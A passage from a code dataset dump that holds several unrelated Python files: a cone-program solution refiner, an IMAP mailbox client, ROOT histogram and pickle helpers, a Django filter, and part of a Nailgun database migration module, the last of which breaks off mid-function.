subopt_stats(A, b, c, x, s, y):\n pri_res_norm = np.linalg.norm(\n A@x + s - b) / (1. + np.linalg.norm(b))\n dua_res_norm = np.linalg.norm(A.T@y + c) / \\\n (1. + np.linalg.norm(c))\n rel_gap = np.abs(c@x + b@y) / \\\n (1. + np.abs(c@x) + np.abs(b@y))\n compl_gap = s@y / (norm(s) * norm(y))\n return pri_res_norm, dua_res_norm, rel_gap, compl_gap\n\n\n@jit\n# def print_stats(i, residual, residual_DT, num_lsqr_iters, start_time):\ndef print_stats(i, residual, z, num_lsqr_iters, backtracks, start_time):\n print('%d\\t%.2e\\t%.0e\\t %d\\t%d\\t%.2f' %\n (i, np.linalg.norm(residual / z[-1]), z[-1],\n num_lsqr_iters, backtracks,\n time.time() - start_time))\n\n\n@jit\ndef print_footer(message):\n print('~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~')\n print(message)\n print('~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~')\n\n\n@jit\ndef lsqr_D(z, dz, A, b, c, cache, residual):\n return residual_D(z, dz, A, b, c, cache) / z[-1] - (residual /\n z[-1]**2) * dz[-1]\n\n\n@jit\ndef lsqr_DT(z, dres, A, b, c, cache, residual):\n m, n = A.shape\n e_minus1 = np.zeros(n + m + 1)\n e_minus1[-1] = 1.\n return residual_DT(z, dres, A, b, c, cache) / z[-1] - (dres@residual /\n z[-1]**2) * e_minus1\n\n\n# def lsqr_D(z, dz, A, b, c, cache, residual):\n# return residual_D(z, dz, A, b, c, cache)\n\n\n# def lsqr_DT(z, dres, A, b, c, cache, residual):\n# return residual_DT(z, dres, A, b, c, cache)\n\n@jit\ndef refine(A, b, c, cones, z,\n iters=10,\n lsqr_iters=20,\n verbose=True,\n max_runtime=1.):\n\n #btol = .5\n\n m, n = A.shape\n\n lambda_var = 1.\n norm_Q = sp.linalg.svds(Q(A, b, c), k=1)[1][0]\n\n if verbose:\n print_header(z, norm_Q)\n\n # z /= (np.linalg.norm(z) / len(z))\n\n residual, u, v, cache = residual_and_uv(z, A, b, c, cones)\n start_time = time.time()\n\n if verbose:\n print_stats(0, residual, z,\n # lambda dres: residual_DT(z, dres, A, b, c, cache),\n 0, 0, start_time)\n\n # mem_anderson = 2\n\n # samples_an = np.zeros((len(z), mem_anderson)) # [np.copy(z)]\n # residuals_an = np.zeros((len(z), mem_anderson))\n\n #start_z[:, i % mem_anderson] = z\n # start_residual = [] # [np.copy(residual)]\n\n #end_z = np.zeros((len(z), mem_anderson))\n #end_residual = []\n\n # mem_anderson_step = 5\n # steps_anderson = np.zeros((len(z), mem_anderson_step))\n # arrivals_anderson = np.zeros((len(z), mem_anderson_step))\n\n for i in range(iters):\n\n # if i >= mem_anderson_step:\n # import cvxpy as cvx\n # w = cvx.Variable(mem_anderson_step)\n # obj = cvx.Minimize(cvx.norm(steps_anderson @ w))\n # const = [cvx.sum(w) == 1.]\n # cvx.Problem(obj, const).solve(verbose=False)\n\n # anderson_z = (arrivals_anderson - steps_anderson / 2.) @ w.value\n # anderson_residual, u, v, anderson_cache = residual_and_uv(\n # anderson_z, A, b, c, cones)\n\n # an_norm = np.linalg.norm(anderson_residual / anderson_z[-1])\n # cur_norm = np.linalg.norm(residual / z[-1])\n # print('an norm / cur_norm', (an_norm / cur_norm))\n\n # # while np.linalg.norm(anderson_residual / anderson_z[-1]) > \\\n # # np.linalg.norm(residual / z[-1]):\n # # print('backtracking')\n # # anderson_z = z + (anderson_z - z) / 2\n # # anderson_residual, u, v, anderson_cache = residual_and_uv(\n # # anderson_z, A, b, c, cones)\n\n # if np.linalg.norm(anderson_residual / anderson_z[-1]) < cur_norm:\n # print('swapping with anderson')\n # z = anderson_z\n # residual = anderson_residual\n # cache = anderson_cache\n\n # samples_an[:, i % mem_anderson] = z\n # residuals_an[:, i % mem_anderson] = residual\n # start_residual.append(np.copy(residual))\n\n # if i > mem_anderson - 1:\n # import cvxpy as cvx\n # w = cvx.Variable(mem_anderson)\n # obj = cvx.Minimize(cvx.sum_squares(residuals_an @ w))\n # const = [cvx.sum(w) == 1.]\n # cvx.Problem(obj, const).solve(verbose=False)\n\n # anderson_z = samples_an @ w.value\n # anderson_residual, u, v, anderson_cache = residual_and_uv(\n # anderson_z, A, b, c, cones)\n\n # an_norm = np.linalg.norm(anderson_residual / anderson_z[-1])\n # cur_norm = np.linalg.norm(residual / z[-1])\n # print('an norm / cur_norm', (an_norm/cur_norm))\n\n # if an_norm < np.linalg.norm(residual / z[-1]):\n # print('swapping with anderson')\n # z = anderson_z\n # residual = anderson_residual\n # cache = anderson_cache\n\n if norm(residual_DT(z, residual, A, b, c, cache)) == 0.:\n if verbose:\n print_footer('Residual orthogonal to derivative.')\n return z / np.abs(z[-1])\n\n # def lsqr_D(z, dz, A, b, c, cache, residual):\n # return residual_D(z, dz, A, b, c, cache)\n\n # def lsqr_DT(z, dres, A, b, c, cache, residual):\n # return residual_DT(z, dres, A, b, c, cache)\n\n # print('res norm: %.2e' % np.linalg.norm(residual / z[-1]))\n # print('1 - btol: %.2e' % (1. - btol))\n returned = lsqr(A, b, c, cones, z, # residual,\n damp=0.,\n atol=0., # max(10**(-1 - i), 1E-8),\n btol=0., # max(10**(-1 - i), 1E-8), # btol,\n show=False,\n iter_lim=lsqr_iters) # None) # )None) # int(max_lsqr_iters))\n\n num_lsqr_iters = returned[2]\n step = returned[0]\n\n new_z = z - step\n # new_z /= np.abs(new_z[-1])\n new_residual, u, v, new_cache = residual_and_uv(new_z, A, b, c, cones)\n\n backtracks = 0\n # backtracking\n while np.linalg.norm(new_residual / new_z[-1]) > np.linalg.norm(residual / z[-1]):\n # print('backtracking')\n step /= 2.\n backtracks += 1\n new_z = z - step\n new_residual, u, v, new_cache = residual_and_uv(\n new_z, A, b, c, cones)\n\n # try one more divide by 2\n test_z = z - step / 2.\n test_residual, u, v, test_cache = residual_and_uv(\n test_z, A, b, c, cones)\n if np.linalg.norm(test_residual / test_z[-1]) < np.linalg.norm(new_residual / new_z[-1]):\n #print('swapping with shorter step')\n new_z = test_z\n new_residual = test_residual\n new_cache = test_cache\n backtracks += 1\n\n # end_z.append(np.copy(new_z))\n #end_z[:, i % mem_anderson] = new_z\n\n # enz_residual.append(np.copy(new_residual))\n\n if verbose: # and (i % 10 == 0):\n print_stats(i + 1, new_residual, new_z,\n # lambda dres: residual_DT(\n # new_z, dres, A, b, c, new_cache),\n num_lsqr_iters, backtracks, start_time)\n # print('1 - btol: %.3f' % (1 - btol))\n\n rel_res_change = (np.linalg.norm(residual / z[-1]) - np.linalg.norm(\n new_residual / new_z[-1])) / np.linalg.norm(residual / z[-1])\n\n #print('rel residual change : %.2e' % rel_res_change)\n\n # if np.linalg.norm(new_residual / new_z[-1]) < np.linalg.norm(residual / z[-1]):\n # # max(1. - (1. - btol) * 1.1, .5)\n # btol = max(1. - rel_res_change, .1)\n # else:\n # btol = 1. - (1. - btol) * 0.5\n\n # steps_anderson[:, i % mem_anderson_step] = new_z - z\n # arrivals_anderson[:, i % mem_anderson_step] = new_z\n\n old_z = np.copy(z)\n\n cache = new_cache\n z = new_z\n residual = new_residual\n\n if rel_res_change < 1E-8:\n if verbose:\n print_footer('Residual change too small.')\n return z / np.abs(z[-1])\n\n # if np.linalg.norm(new_residual / new_z[-1]) < np.linalg.norm(residual / z[-1]):\n # cache = new_cache\n # z = new_z\n # residual = new_residual\n # # max_lsqr_iters *= 1.1\n # btol = max(1. - (1. - btol) * 2., .5)\n # #btol = max(1. - rel_res_change, .5)\n # # if (num_lsqr_iters < 2) and btol > 0.999:\n # # if verbose:\n # # print_footer(\"Expected residual change is too small.\")\n # # return z / np.abs(z[-1])\n # else:\n # btol = 1. - (1. - btol) * 0.5\n\n # if btol > (1 - 1E-8):\n # if verbose:\n # print_stats(i + 1, residual, z,\n # num_lsqr_iters, start_time)\n # print_footer(\"Residual change is too small.\")\n\n # return z / np.abs(z[-1])\n\n # if (num_lsqr_iters < 2):\n # if verbose:\n # print_footer(\"Can't make the residual smaller.\")\n # return z / np.abs(z[-1])\n # if verbose:\n # print_footer(\"Can't make the residual smaller.\")\n # return z / np.abs(z[-1])\n # max_lsqr_iters *= .5\n # btol = 1. - (1. - btol) * .5\n\n # if (time.time() - start_time) > max_runtime:\n # if verbose:\n # # print_stats(i + 1, residual, z,\n # # num_lsqr_iters, start_time)\n # print_footer('Max. refinement runtime reached.')\n\n # return z / np.abs(z[-1])\n\n if verbose:\n print_footer('Max num. refinement iters reached.')\n return z / np.abs(z[-1])\n\n\ndef solve(A, b, c, dim_dict,\n solver='scs',\n solver_options={},\n refine_solver_time_ratio=1.,\n max_iters=10,\n verbose=False,\n max_lsqr_iters=20,\n return_z=False):\n\n solver_start = time.time()\n if solver == 'scs':\n z, info = scs_solve(A, b, c, dim_dict, **solver_options)\n elif solver == 'ecos':\n z, info = ecos_solve(A, b, c, dim_dict, **solver_options)\n else:\n raise Exception('The only supported solvers are ecos and scs')\n\n solver_time = time.time() - solver_start\n\n cones = dim2cones(dim_dict)\n\n new_residual, u, v, _ = residual_and_uv(z, A, b, c, cones)\n x, s, y, tau, kappa = uv2xsytaukappa(u, v, A.shape[1])\n\n pres = np.linalg.norm(A@x + s - b) / (1 + np.linalg.norm(b))\n dres = np.linalg.norm(A.T@y + c) / (1 + np.linalg.norm(c))\n gap = np.abs(c@x + b@y) / (1 + np.abs(c@x) + np.abs(b@y))\n\n print('pres %.2e, dres %.2e, gap %.2e' % (pres, dres, gap))\n\n z_plus = refine(A, b, c, cones, z,\n verbose=verbose,\n iters=max_iters,\n lsqr_iters=max_lsqr_iters) # ,\n # max_runtime=solver_time * refine_solver_time_ratio)\n\n if return_z:\n return z_plus, info\n else:\n new_residual, u, v, _ = residual_and_uv(z_plus, A, b, c, cones)\n x, s, y, tau, kappa = uv2xsytaukappa(u, v, A.shape[1])\n pres = np.linalg.norm(A@x + s - b) / (1 + np.linalg.norm(b))\n dres = np.linalg.norm(A.T@y + c) / (1 + np.linalg.norm(c))\n gap = np.abs(c@x + b@y) / (1 + np.abs(c@x) + np.abs(b@y))\n print('pres %.2e, dres %.2e, gap %.2e' % (pres, dres, gap))\n return x, s, y, info\n","sub_path":"cone_prog_refine/problem.py","file_name":"problem.py","file_ext":"py","file_size_in_byte":16847,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"351047549","text":"import imaplib\nimport inspect\n\nfrom .message import MailMessage\nfrom .folder import MailBoxFolderManager\nfrom .utils import ImapToolsError\n\n# Maximal line length when calling readline(). This is to prevent reading arbitrary length lines.\nimaplib._MAXLINE = 4 * 1024 * 1024 # 4Mb\n\n\nclass MailBoxWrongFlagError(ImapToolsError):\n \"\"\"Wrong flag for \"flag\" method\"\"\"\n\n\nclass MailBoxUidParamError(ImapToolsError):\n \"\"\"Wrong uid param\"\"\"\n\n\nclass MailBoxUnexpectedStatusError(ImapToolsError):\n \"\"\"Unexpected status in response\"\"\"\n\n\nclass StandardMessageFlags:\n \"\"\"Standard email message flags\"\"\"\n SEEN = 'SEEN'\n ANSWERED = 'ANSWERED'\n FLAGGED = 'FLAGGED'\n DELETED = 'DELETED'\n DRAFT = 'DRAFT'\n RECENT = 'RECENT'\n all = (\n SEEN, ANSWERED, FLAGGED, DELETED, DRAFT, RECENT\n )\n\n\nclass MailBox:\n \"\"\"Working with the email box through IMAP4\"\"\"\n\n email_message_class = MailMessage\n folder_manager_class = MailBoxFolderManager\n\n def __init__(self, host='', port=None, ssl=True, keyfile=None, certfile=None, ssl_context=None):\n \"\"\"\n :param host: host's name (default: localhost)\n :param port: port number (default: standard IMAP4 SSL port)\n :param ssl: use client class over SSL connection (IMAP4_SSL) if True, else use IMAP4\n :param keyfile: PEM formatted file that contains your private key (default: None)\n :param certfile: PEM formatted certificate chain file (default: None)\n :param ssl_context: SSLContext object that contains your certificate chain and private key (default: None)\n Note: if ssl_context is provided, then parameters keyfile or\n certfile should not be set otherwise ValueError is raised.\n \"\"\"\n self._host = host\n self._port = port\n self._keyfile = keyfile\n self._certfile = certfile\n self._ssl_context = ssl_context\n if ssl:\n self.box = imaplib.IMAP4_SSL(\n host, port or imaplib.IMAP4_SSL_PORT, keyfile, certfile, ssl_context)\n else:\n self.box = imaplib.IMAP4(host, port or imaplib.IMAP4_PORT)\n self._username = None\n self._password = None\n self._initial_folder = None\n self.folder = None\n\n @staticmethod\n def check_status(command, command_result, expected='OK'):\n \"\"\"\n Check that command responses status equals status\n If not, raises MailBoxUnexpectedStatusError\n \"\"\"\n typ, data = command_result[0], command_result[1]\n if typ != expected:\n raise MailBoxUnexpectedStatusError(\n 'Response status for command \"{command}\" == \"{typ}\", \"{exp}\" expected, data: {data}'.format(\n command=command, typ=typ, data=str(data), exp=expected))\n\n def login(self, username: str, password: str, initial_folder: str = 'INBOX'):\n self._username = username\n self._password = password\n self._initial_folder = initial_folder\n result = self.box.login(self._username, self._password)\n self.check_status('box.login', result)\n self.folder = self.folder_manager_class(self)\n self.folder.set(self._initial_folder)\n return result\n\n def logout(self):\n result = self.box.logout()\n self.check_status('box.logout', result, expected='BYE')\n return result\n\n def fetch(self, search_criteria: str = 'ALL', limit: int = None,\n miss_defect=True, miss_no_uid=True, mark_seen=True) -> iter:\n \"\"\"\n Mail message generator in current folder by search criteria\n :param search_criteria: message search criteria (see examples at ./doc/imap_search_criteria.txt)\n :param limit: limit number of read emails, useful for actions with a large number of messages, like \"move\"\n :param miss_defect: miss emails with defects\n :param miss_no_uid: miss emails without uid\n :param mark_seen: mark emails as seen on fetch\n :return generator: MailMessage\n \"\"\"\n search_result = self.box.search(None, search_criteria)\n self.check_status('box.search', search_result)\n # first element is string with email numbers through the gap\n for i, message_id in enumerate(search_result[1][0].decode().split(' ') if search_result[1][0] else ()):\n if limit and i >= limit:\n break\n # get message by id\n fetch_result = self.box.fetch(message_id, \"(BODY[] UID FLAGS)\" if mark_seen else \"(BODY.PEEK[] UID FLAGS)\")\n self.check_status('box.fetch', fetch_result)\n mail_message = self.email_message_class(message_id, fetch_result[1])\n if miss_defect and mail_message.obj.defects:\n continue\n if miss_no_uid and not mail_message.uid:\n continue\n yield mail_message\n\n @staticmethod\n def _uid_str(uid_list: str or [str] or iter) -> str:\n \"\"\"\n Prepare list of uid for use in commands: delete/copy/move/seen\n uid_list can be: str, list, tuple, set, fetch generator\n \"\"\"\n if not uid_list:\n raise MailBoxUidParamError('uid_list should not be empty')\n if type(uid_list) is str:\n uid_list = uid_list.split(',')\n if inspect.isgenerator(uid_list):\n uid_list = tuple(msg.uid for msg in uid_list if msg.uid)\n for uid in iter(uid_list):\n if type(uid) is not str:\n raise MailBoxUidParamError('uid \"{}\" is not string'.format(str(uid)))\n if not uid.strip().isdigit():\n raise MailBoxUidParamError('Wrong uid: {}'.format(uid))\n return ','.join((i.strip() for i in uid_list))\n\n def expunge(self) -> tuple:\n result = self.box.expunge()\n self.check_status('box.expunge', result)\n return result\n\n def delete(self, uid_list) -> tuple:\n \"\"\"Delete email messages\"\"\"\n uid_str = self._uid_str(uid_list)\n store_result = self.box.uid('STORE', uid_str, '+FLAGS', r'(\\Deleted)')\n self.check_status('box.delete', store_result)\n expunge_result = self.expunge()\n return store_result, expunge_result\n\n def copy(self, uid_list, destination_folder: str) -> tuple or None:\n \"\"\"Copy email messages into the specified folder\"\"\"\n uid_str = self._uid_str(uid_list)\n copy_result = self.box.uid('COPY', uid_str, destination_folder)\n self.check_status('box.copy', copy_result)\n return copy_result\n\n def move(self, uid_list, destination_folder: str) -> tuple:\n \"\"\"Move email messages into the specified folder\"\"\"\n # here for avoid double fetch in _uid_str\n uid_str = self._uid_str(uid_list)\n copy_result = self.copy(uid_str, destination_folder)\n delete_result = self.delete(uid_str)\n return copy_result, delete_result\n\n def flag(self, uid_list, flag_set: [str] or str, value: bool) -> tuple:\n \"\"\"\n Set email flags\n Standard flags contains in StandardMessageFlags.all\n \"\"\"\n uid_str = self._uid_str(uid_list)\n if type(flag_set) is str:\n flag_set = [flag_set]\n for flag_name in flag_set:\n if flag_name.upper() not in StandardMessageFlags.all:\n raise MailBoxWrongFlagError('Unsupported flag: {}'.format(flag_name))\n store_result = self.box.uid(\n 'STORE', uid_str, ('+' if value else '-') + 'FLAGS',\n '({})'.format(' '.join(('\\\\' + i for i in flag_set))))\n self.check_status('box.flag', store_result)\n expunge_result = self.expunge()\n return store_result, expunge_result\n\n def seen(self, uid_list, seen_val: bool) -> tuple:\n \"\"\"\n Mark email as read/unread\n This is shortcut for flag method\n \"\"\"\n return self.flag(uid_list, StandardMessageFlags.SEEN, seen_val)\n","sub_path":"imap_tools/mailbox.py","file_name":"mailbox.py","file_ext":"py","file_size_in_byte":7881,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"390610262","text":"# -*- coding: UTF-8 -*-\r\n'''\r\nThis is a package document.\r\n \r\n Environment version:\r\n \r\n python2\r\n 请在python2环境下运行程序\r\n \r\n Content:\r\n\r\n @root_dict:\r\n @root_pkl:\r\n @dump:\r\n @hist1d:\r\n @hist2d:\r\n @tree1d:\r\n\r\n'''\r\n# Public package\r\nimport pickle\r\nimport os\r\nimport re\r\nfrom array import array\r\n# Private package\r\nimport headpy.hscreen.hprint as hprint\r\nimport ROOT\r\n\r\n\r\ndef root_dict(rootfile='',\r\n tree='',\r\n branchs=[],\r\n fake=1):\r\n '''\r\n rootfile: string, 输入读取的root文件位置\\n\r\n tree: string, 输入读取的tree的名称\\n\r\n branchs: list, 输入要读取的branch的名称\\n\r\n fake: double,输入调整处理长度的系数\\n\r\n 作用: 读取对应root文件中的对应tree,作为字典返回\\n\r\n '''\r\n # 读取root文件\r\n tfile = ROOT.TFile(rootfile)\r\n ttree = tfile.Get(tree)\r\n num = ttree.GetEntries()\r\n # 初始化输出字典\r\n out_dict = {}\r\n for branch in branchs:\r\n out_dict[branch] = []\r\n # 输入字典\r\n nnum = int(num / fake)\r\n for entry in range(nnum):\r\n ttree.GetEntry(entry)\r\n for branch in branchs:\r\n exec(\"out_dict['%s'].append(ttree.%s)\" % (branch, branch))\r\n # 输出字典\r\n return out_dict\r\n\r\n\r\ndef root_pkl(rootfile='',\r\n tree='',\r\n branchs=[],\r\n pklfile='',\r\n protocol=2,\r\n fake=1):\r\n '''\r\n rootfile: string, 输入读取的root文件位置\\n\r\n tree: string, 输入读取的tree的名称\\n\r\n branchs: list, 输入要读取的branch的名称\\n\r\n pklfile: string, 输入输出的pkl文件位置\\n\r\n fake: double, 输入调整处理长度的系数\\n\r\n 作用: 读取对应root文件中的对应tree,作为字典返回\\n\r\n '''\r\n # 读取root至dict\r\n out_dict = root_dict(rootfile, tree, branchs, fake=fake)\r\n # 写入pickle文件\r\n with open(pklfile, 'wb') as outfile:\r\n pickle.dump(out_dict, outfile, protocol=protocol)\r\n\r\n\r\ndef dump(location='',\r\n tree='',\r\n branchs=[],\r\n fakelist={}):\r\n '''\r\n location: string, 输入批量处理的文件夹\\n\r\n tree: string, 输入读取的tree的名称\\n\r\n branchs: list, 输入要读取的branch的名称\\n\r\n 作用: 确定文件夹中所有root文件,读取对应的tree保存至对应名称pkl文件\\n\r\n '''\r\n files = os.listdir(location)\r\n for i1 in files:\r\n if(re.match(r'(.*).root', i1)):\r\n energy = float(i1.replace('.root', ''))\r\n hprint.pline('Extracting %1.4f' % (energy))\r\n if(energy in fakelist):\r\n fakeparameter = fakelist[energy]\r\n root_pkl('%s/%s' % (location, i1),\r\n tree,\r\n branchs,\r\n '%s/%s' % (location,\r\n i1.replace('.root',\r\n '_%s.pkl' % (tree))),\r\n fake=fakeparameter)\r\n else:\r\n root_pkl('%s/%s' % (location, i1),\r\n tree,\r\n branchs,\r\n '%s/%s' % (location,\r\n i1.replace('.root',\r\n '_%s.pkl' % (tree))))\r\n\r\n\r\ndef hist1d(name_tfile='',\r\n name_hist='',\r\n inter=100,\r\n left=0,\r\n right=1,\r\n data=[],\r\n weight=[]):\r\n '''\r\n name_tfile: string, root文件名\\n\r\n name_hist: string, hist名\\n\r\n inter, left, right: double, hist选项\\n\r\n data: list, hist数据\\n\r\n weight: list, weight数据\\n\r\n '''\r\n tfile = ROOT.TFile(name_tfile, 'RECREATE')\r\n hist = ROOT.TH1D(name_hist, '',\r\n inter,\r\n left,\r\n right)\r\n num = len(data)\r\n if(num == len(weight)):\r\n for i in range(num):\r\n hist.Fill(data[i], weight[i])\r\n else:\r\n for i in range(num):\r\n hist.Fill(data[i])\r\n tfile.Write()\r\n tfile.Close()\r\n return (name_tfile, name_hist)\r\n\r\n\r\ndef hist2d(name_tfile='',\r\n name_hist='',\r\n inter1=100,\r\n left1=0,\r\n right1=1,\r\n inter2=100,\r\n left2=0,\r\n right2=1,\r\n data1=[],\r\n data2=[],\r\n weight=[]):\r\n '''\r\n name_tfile: string, root文件名\\n\r\n name_hist: string, hist名\\n\r\n inter, left, right: double, hist选项\\n\r\n data: list, hist数据\\n\r\n weight: list, weight数据\\n\r\n '''\r\n tfile = ROOT.TFile(name_tfile, 'RECREATE')\r\n hist = ROOT.TH2D(name_hist, '',\r\n inter1,\r\n left1,\r\n right1,\r\n inter2,\r\n left2,\r\n right2)\r\n num = len(data1)\r\n if(num == len(weight)):\r\n for i in range(num):\r\n hist.Fill(data1[i], data2[i], weight[i])\r\n else:\r\n for i in range(num):\r\n hist.Fill(data1[i], data2[i])\r\n tfile.Write()\r\n tfile.Close()\r\n return (name_tfile, name_hist)\r\n\r\n\r\ndef tree1d(name_tfile='',\r\n name_ttree='',\r\n name_branch='',\r\n data=[]):\r\n '''\r\n name_tfile: string, root文件名\\n\r\n name_ttree: string, tree名\\n\r\n name_branch: string, branch名\\n\r\n data: list, branch数据\\ns\r\n '''\r\n tfile = ROOT.TFile(name_tfile, 'RECREATE')\r\n ttree = ROOT.TTree(name_ttree, '')\r\n n = array('f', [0])\r\n ttree.Branch(name_branch, n, '%s/F' % (name_branch))\r\n for i in data:\r\n n[0] = i\r\n ttree.Fill()\r\n tfile.Write()\r\n tfile.Close()\r\n return (name_tfile, name_ttree)\r\n","sub_path":"hbes/hroot.py","file_name":"hroot.py","file_ext":"py","file_size_in_byte":5813,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"570929301","text":"from apps.cases.models import Case\nfrom django_filters import rest_framework as filters\n\n\nclass CaseFilter(filters.FilterSet):\n state_date = filters.DateFilter(field_name=\"case_states__state_date\", distinct=True)\n\n class Meta:\n model = Case\n fields = [\"state_date\"]\n","sub_path":"app/apps/cases/filters.py","file_name":"filters.py","file_ext":"py","file_size_in_byte":286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"139741937","text":"# Copyright 2014 Mirantis, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nfrom itertools import chain\nimport re\n\nfrom alembic import op\nfrom oslo_serialization import jsonutils\nimport six\nimport sqlalchemy as sa\nfrom sqlalchemy.sql import text\n\nfrom nailgun import consts\nfrom nailgun.settings import settings\n\n\ndef upgrade_enum(table, column_name, enum_name, old_options, new_options):\n old_type = sa.Enum(*old_options, name=enum_name)\n new_type = sa.Enum(*new_options, name=enum_name)\n tmp_type = sa.Enum(*new_options, name=\"_\" + enum_name)\n # Create a temporary type, convert and drop the \"old\" type\n tmp_type.create(op.get_bind(), checkfirst=False)\n op.execute(\n u'ALTER TABLE {0} ALTER COLUMN {1} TYPE _{2}'\n u' USING {1}::text::_{2}'.format(\n table,\n column_name,\n enum_name\n )\n )\n old_type.drop(op.get_bind(), checkfirst=False)\n # Create and convert to the \"new\" type\n new_type.create(op.get_bind(), checkfirst=False)\n op.execute(\n u'ALTER TABLE {0} ALTER COLUMN {1} TYPE {2}'\n u' USING {1}::text::{2}'.format(\n table,\n column_name,\n enum_name\n )\n )\n tmp_type.drop(op.get_bind(), checkfirst=False)\n\n\ndef drop_enum(name):\n op.execute(\n u'DROP TYPE {0}'.format(name)\n )\n\n\ndef convert_condition_value(val):\n if isinstance(val, six.string_types):\n return \"'{0}'\".format(val)\n return str(val).lower()\n\n\ndef negate_condition(condition):\n \"\"\"Negates condition.\"\"\"\n return \"not ({0})\".format(condition)\n\n\ndef remove_question_operator(expression):\n \"\"\"Removes '?' operator from expressions, it was deprecated in 6.0\"\"\"\n return re.sub(r'(:[\\w\\.\\-]+)\\?', '\\\\1', expression)\n\n\ndef upgrade_release_attributes_50_to_51(attrs_meta):\n if not attrs_meta.get('editable'):\n return attrs_meta\n\n def depends_to_restrictions(depends, restrictions):\n for cond in depends:\n expr = cond.keys()[0]\n restrictions.append(\n expr + \" != \" + convert_condition_value(cond[expr]))\n\n def conflicts_to_restrictions(conflicts, restrictions):\n for cond in conflicts:\n expr = cond.keys()[0]\n restrictions.append(\n expr + \" == \" + convert_condition_value(cond[expr]))\n\n for _, group in six.iteritems(attrs_meta.get('editable')):\n for _, attr in six.iteritems(group):\n restrictions = []\n if attr.get('depends'):\n depends_to_restrictions(attr['depends'], restrictions)\n attr.pop('depends')\n if attr.get('conflicts'):\n conflicts_to_restrictions(attr['conflicts'], restrictions)\n attr.pop('conflicts')\n if restrictions:\n attr['restrictions'] = restrictions\n return attrs_meta\n\n\ndef upgrade_release_attributes_51_to_60(attrs_meta):\n \"\"\"Remove '?' operator from expressions\"\"\"\n if not attrs_meta.get('editable'):\n return attrs_meta\n\n def convert_restrictions(restrictions):\n result = []\n for restriction in restrictions:\n if isinstance(restriction, basestring):\n restriction = remove_question_operator(restriction)\n else:\n restriction['condition'] = remove_question_operator(\n restriction['condition'])\n result.append(restriction)\n return result\n\n for _, group in six.iteritems(attrs_meta.get('editable')):\n for _, attr in six.iteritems(group):\n if 'restrictions' in attr:\n attr['restrictions'] = convert_restrictions(\n attr['restrictions'])\n if 'values' in attr:\n for value in attr['values']:\n if 'restrictions' in value:\n value['restrictions'] = convert_restrictions(\n value['restrictions'])\n\n return attrs_meta\n\n\ndef upgrade_release_roles_50_to_51(roles_meta):\n for _, role in six.iteritems(roles_meta):\n if role.get('depends'):\n for depend in role['depends']:\n cond = depend.get('condition')\n if isinstance(cond, dict):\n expr = cond.keys()[0]\n depend['condition'] = \\\n expr + \" == \" + convert_condition_value(cond[expr])\n return roles_meta\n\n\ndef upgrade_release_roles_51_to_60(roles_meta, add_meta=None):\n \"\"\"Convert role_metadata.depends values into roles_metadata.restrictions\"\"\"\n add_meta = add_meta or {}\n for role_name, role in six.iteritems(roles_meta):\n for depend in role.get('depends', []):\n cond = depend.get('condition')\n new_restriction = {\n 'condition': remove_question_operator(negate_condition(cond))\n }\n if 'warning' in depend:\n new_restriction['message'] = depend['warning']\n\n role.setdefault('restrictions', [])\n role['restrictions'].append(new_restriction)\n\n if 'depends' in role:\n del role['depends']\n\n if role_name in add_meta:\n role.update(add_meta[role_name])\n return roles_meta\n\n\ndef upgrade_clusters_replaced_info(connection):\n select = text(\n \"\"\"SELECT id, replaced_provisioning_info, replaced_deployment_info\n FROM clusters\"\"\")\n clusters = connection.execute(select)\n for cluster in clusters:\n nodes_select = text(\n \"\"\"SELECT id FROM nodes WHERE cluster_id=:id\"\"\")\n nodes = connection.execute(\n nodes_select,\n id=cluster[0])\n provisioning_info = jsonutils.loads(cluster[1])\n deployment_nodes = jsonutils.loads(cluster[2])\n provisioning_nodes = provisioning_info.pop('nodes', [])\n for node in nodes:\n node_deploy = [d for d in deployment_nodes\n if d['uid'] == str(node[0])]\n node_provision = next((d for d in provisioning_nodes\n if d['uid'] == str(node[0])), {})\n update_node = text(\n \"\"\"UPDATE nodes\n SET replaced_deployment_info = :deploy,\n replaced_provisioning_info = :provision\n WHERE id = :id\"\"\")\n connection.execute(\n update_node,\n deploy=jsonutils.dumps(node_deploy),\n provision=jsonutils.dumps(node_provision),\n id=node[0])\n update_cluster = text(\n \"\"\"UPDATE clusters\n SET replaced_deployment_info = :deploy,\n replaced_provisioning_info = :provision\n WHERE id = :id\"\"\")\n connection.execute(\n update_cluster,\n deploy=jsonutils.dumps({}),\n provision=jsonutils.dumps(provisioning_info),\n id=cluster[0])\n\n\ndef upgrade_release_set_deployable_false(connection, versions):\n \"\"\"Set deployable=False for a given versions list.\n\n :param connection: a database connection\n :param versions: a list of versions to be forbidden\n \"\"\"\n update_query = text(\n \"UPDATE releases SET is_deployable = 'false' \"\n \" WHERE version IN :versions\")\n\n connection.execute(update_query, versions=tuple(versions))\n\n\ndef upgrade_release_fill_orchestrator_data(connection, versions):\n \"\"\"Fill release_orchestrator_data if it's not filled yet.\n\n :param connection: a database connection\n :param versions: a list of versions to be forbidden\n \"\"\"\n for version in versions:\n select_query = text(\n \"SELECT id, operating_system FROM releases \"\n \" WHERE version LIKE :version AND id NOT IN (\"\n \" SELECT release_id FROM release_orchestrator_data \"\n \" )\")\n\n releases = connection.execute(select_query, version=version)\n\n for release in releases:\n insert_query = text(\n \"INSERT INTO release_orchestrator_data (\"\n \" release_id, repo_metadata, puppet_manifests_source, \"\n \" puppet_modules_source)\"\n \" VALUES (\"\n \" :release_id, \"\n \" :repo_metadata, \"\n \" :puppet_manifests_source, \"\n \" :puppet_modules_source)\")\n\n # if release_orchestrator_data isn't filled then releases'\n # repos stores in unversioned directory with 